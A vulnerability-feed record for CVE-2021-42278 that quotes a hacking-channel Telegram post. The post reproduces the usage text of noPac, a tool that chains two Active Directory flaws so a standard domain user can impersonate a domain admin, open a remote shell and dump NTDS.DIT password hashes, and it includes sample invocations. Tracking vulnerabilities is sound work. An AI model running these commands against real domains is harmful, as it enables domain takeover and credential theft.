{"uuid": "10da6e1e-0efd-4857-b6d8-d15eda28fc61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42278", "type": "seen", "source": "https://t.me/hacking_Attack/68760", "content": "Kali Linux Tutorials\nnoPac : Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User\n\nnoPac, Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user. UsageSAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain\npositional arguments:\n[domain/]username[:password]\nAccount used to authenticate to DC.\noptional arguments:\n-h, \u2013help show this help message and exit\n\u2013impersonate IMPERSONATE\ntarget username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified\n-domain-netbios NETBIOSNAME\nDomain NetBIOS name. Required if the DC has multiple domains.\n-target-name NEWNAME Target computer name, if not specified, will be random generated.\n-new-pass PASSWORD Add new computer password, if not specified, will be random generated.\n-old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name.\n-old-hash LMHASH:NTHASH\nTarget computer hashes, use if you know the hash of the target you input with -target-name.\n-debug Turn DEBUG output ON\n-ts Adds timestamp to every logging output\n-shell Drop a shell via smbexec\n-no-add Forcibly change the password of the target computer.\n-create-child Current account have permission to CreateChild.\n-dump Dump Hashs via secretsdump\n-use-ldap Use LDAP instead of LDAPS\nauthentication:\n-hashes LMHASH:NTHASH\nNTLM hashes, format is LMHASH:NTHASH\n-no-pass don\u2019t ask for password (useful for -k)\n-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line\n-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)\n-dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used\n-dc-ip ip IP of the domain controller to use. Useful if you can\u2019t translate the FQDN.specified in the account parameter will be used\nexecute options:\n-port [destination port]\nDestination port to connect to SMB Server\n-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)\n-share SHARE share where the output will be grabbed from (default ADMIN$)\n-shell-type {cmd,powershell}\nchoose a command processor for the semi-interactive shell\n-codec CODEC Sets encoding used (codec) from the target\u2019s output (default \u201cGBK\u201d).\n-service-name service_name\nThe name of theservice used to trigger the payload\ndump options:\n-just-dc-user USERNAME\nExtract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch\n-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)\n-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)\n-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\u2019t apply to -outputfile data\n-user-status Display whether or not the user is disabled\n-history Dump password history, and LSA secrets OldVal\n-resumefile RESUMEFILE\nresume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session\u2019s state\n-use-vss Use the VSS method insead of default DRSUAPI\n-exec-method [{smbexec,wmiexec,mmcexec}]\nRemote exec method to use at target (only when using -use-vss). Default: smbexec\n\nNote: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If \u2013impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap . GetSTpython noPac.py cgdomain.com/sanfeng:\u20191qaz@WSX\u2019 -dc-ip 10.211.55.203 Auto get shellpython noPac.py cgdomain.com/sanfeng:\u20191qaz@WSX\u2019 -dc-ip 10.211.55.203 -dc-h[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:24.458615Z"}